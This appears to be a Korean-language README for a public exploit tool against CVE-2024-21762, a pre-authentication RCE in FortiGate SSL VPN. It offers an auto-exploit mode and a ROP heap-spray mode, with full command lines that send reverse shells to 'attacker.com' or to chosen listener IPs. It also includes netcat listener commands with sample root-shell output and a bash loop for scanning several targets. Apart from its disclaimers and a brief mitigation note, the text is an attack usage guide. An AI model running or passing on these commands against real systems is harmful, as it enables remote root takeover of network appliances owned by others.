
FortiGate SSL VPN에서 CVE-2024-21762 사전 인증 RCE를 탐지하고 악용하며, 기준 검증, 자동 악용, ROP 힙 스프레이 모드 및 리버스 셸을 포함합니다.
CVE-2024-21762 - FortiGate SSL VPN의 심각한 취약점 탐지 및 익스플로잇 도구
⚠️ 법적 고지: 이 도구는 승인된 테스트 환경에서만 사용해야 합니다. 승인되지 않은 시스템에서의 사용은 불법이며 심각한 법적 결과를 초래할 수 있습니다.
CVE-2024-21762는 FortiGate SSL VPN 구성 요소의 심각한 취약점으로, **사전 인증 원격 코드 실행(RCE)**을 허용합니다. 이 결함은 Transfer-Encoding chunked를 사용한 HTTP 요청의 취약한 파싱으로 인해 발생하며, sslvpnd 구성 요소에서 out-of-bounds 쓰기가 발생합니다.
| 속성 | 정보 |
|---|---|
| CVE ID | CVE-2024-21762 |
| 취약점 유형 | sslvpnd의 out-of-bounds 쓰기 |
| 유형 | 사전 인증 원격 코드 실행(RCE) |
| CVSS 점수 | 9.8 (Critical) |
| 영향을 받는 구성 요소 | FortiOS SSL VPN |
| 취약한 버전 | 7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2 |
✅ 취약점 탐지 - 변형된 요청을 통해 취약한 FortiGate 식별
✅ 기준 테스트 - 테스트 전 서버의 정상적인 동작 확인
✅ 자동 모드 - 취약점 탐지 및 자동 익스플로잇
✅ 리버스 셸 - IP/포트 설정이 가능한 bash 리버스 셸 지원
✅ 입력 검증 - 익스플로잇 전 IP 및 포트 검증
✅ 상세 보고서 - 완화 권장 사항이 포함된 보고서 생성
✅ 강력한 오류 처리 - 안전한 연결 및 예외 관리
# 저장소 클론
git clone https://github.com/사용자명/CVE-2024-21762.git
cd CVE-2024-21762
# 구문 확인
python -m py_compile EXPLOIT.py
# 스크립트 실행
python EXPLOIT.py -h
# 간단한 탐지 테스트
python EXPLOIT.py 192.168.1.100
# 사용자 지정 포트 사용
python EXPLOIT.py 192.168.1.100 -p 8443
# 타임아웃 증가
python EXPLOIT.py 192.168.1.100 --timeout 20
# 사전 구성된 리버스 셸을 사용한 자동 모드
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
# 자격 증명 없이 자동 모드 (대화형으로 요청)
python EXPLOIT.py 192.168.1.100 --auto
ROP 모드는 특정 대상(FortiOS 7.4.2)에 대해 힙 스프레이를 사용한 2단계 익스플로잇을 구현합니다:
# Node.js 리버스 셸을 사용한 ROP 익스플로잇
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
# 사용자 지정 포트 사용
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
# 느린 대상을 위한 타임아웃 증가
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
ROP 익스플로잇 흐름:
리스닝 서버에서:
# Linux/Mac/Windows netcat 사용
nc -lnvp 4242
# 예상 출력:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)
⚠️ 중요 참고: ROP 모드는 FortiOS 7.4.2.F-build2571에 최적화되어 있습니다. ROP 체인의 하드코딩된 오프셋으로 인해 다른 버전에서는 작동하지 않을 수 있습니다.
# 리버스 셸 페이로드 전송
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
# 여러 옵션 조합
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
positional arguments:
target 테스트할 대상 호스트 이름 또는 IP
optional arguments:
-h, --help 이 도움말 메시지 표시
-t, --target HOSTNAME 대상 호스트 이름 또는 IP (대체)
-p, --port PORT SSL VPN 포트 (기본값: 443)
--timeout SECONDS 타임아웃(초) (기본값: 10)
-li, --lhost IP 리버스 셸을 수신할 로컬 IP
-lp, --lport PORT 리버스 셸을 수신할 로컬 포트
--no-baseline 기준 테스트 건너뛰기
--auto 자동 모드: 탐지 및 익스플로잇
--rop ROP 모드: 힙 스프레이를 사용한 고급 익스플로잇 (FortiOS 7.4.2)
-v, --version 스크립트 버전 표시
python EXPLOIT.py 192.168.1.100
취약한 경우 예상 결과:
[+] 취약점 테스트 시작...
[!] 취약점 탐지됨!
[!] 서버가 갑자기 연결을 종료했습니다
[!] 상태: 취약함
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
서버에서:
# Linux/Mac
nc -lnvp 4444
# Windows
ncat -lnvp 4444
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
python EXPLOIT.py $target --timeout 15
done
이 도구는 다음 동작 중 하나가 감지되면 대상을 취약한 것으로 간주합니다:
FortiOS를 수정된 버전으로 업데이트:
임시 격리
모니터링
# FortiOS 버전 확인
python EXPLOIT.py your-fortinet.com
결과가 "취약하지 않음"으로 표시되면 패치가 성공적으로 적용된 것입니다.
CVE-2024-21762/
├── EXPLOIT.py # 주요 익스플로잇 스크립트
├── README.md # 이 파일
├── LICENSE # MIT 라이선스
└── .gitignore # Git 설정
이 도구는 다음을 구현합니다:
Q: Windows 환경에서 사용할 수 있나요?
A: 예, Python 스크립트는 Windows에서 작동하지만 기본 bash 리버스 셸은 작동하지 않습니다. 사용자 정의 페이로드가 필요합니다.
Q: 익스플로잇이 성공했는지 어떻게 알 수 있나요?
A: 리버스 셸을 수신하는 머신(nc/ncat)을 확인하세요. 스크립트가 진행 상황을 나타내는 메시지를 표시합니다.
Q: 여러 대상을 대상으로 사용할 수 있나요?
A: 예, bash/PowerShell 스크립트를 만들어 IP 목록을 반복할 수 있습니다.
Q: 일반 모드와 자동 모드의 차이점은 무엇인가요?
A: 자동 모드는 취약점이 발견되면 자동으로 익스플로잇합니다. 일반 모드는 탐지만 수행합니다.
버그를 발견하거나 제안 사항이 있으신가요? 이슈를 열거나 풀 리퀘스트를 보내주세요!
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
이 소프트웨어는 연구 및 승인된 테스트 목적으로 "있는 그대로" 제공됩니다. 저자는 다음에 대해 책임을 지지 않습니다:
승인된 환경에서만 책임감 있게 사용하십시오
사이버 보안 교육 및 연구 목적으로 개발되었습니다.
⚠️ 명심하세요: 이 도구는 소유하거나 명시적으로 테스트 권한이 있는 시스템에서만 사용하십시오. 승인되지 않은 익스플로잇은 범죄입니다.
| 버전 | 탐지 | ROP 모드 | 상태 |
|---|
| FortiOS 7.0.0 - 7.0.13 | ✅ 지원 | ❌ 미지원 | ⚠️ 취약 |
| FortiOS 7.2.0 - 7.2.6 | ✅ 지원 | ❌ 미지원 | ⚠️ 취약 |
| FortiOS 7.4.0 - 7.4.1 | ✅ 지원 | ❌ 미지원 | ⚠️ 취약 |
| FortiOS 7.4.2 (build≤2571) | ✅ 지원 | ✅ 지원 | ⚠️ 취약 |
| FortiOS 7.4.3+ | ❌ 미지원 | ❌ 미지원 | ✅ 수정됨 |
| 메서드 | 설명 |
|---|
test_vulnerability() | 변형 요청을 보내 취약점 테스트 |
exploit(lhost, lport) | 리버스 셸로 취약점 익스플로잇 |
test_baseline() | 서버의 정상 동작 테스트 |
generate_report() | 상태가 포함된 최종 보고서 생성 |
_create_ssl_context() | 재사용 가능한 SSL 컨텍스트 생성 |
_create_socket_connection() | 안전한 TLS 연결 생성 |
_close_socket(sock) | 소켓을 안전하게 닫기 |
_is_valid_ip(ip_str) | IP 형식 검증 |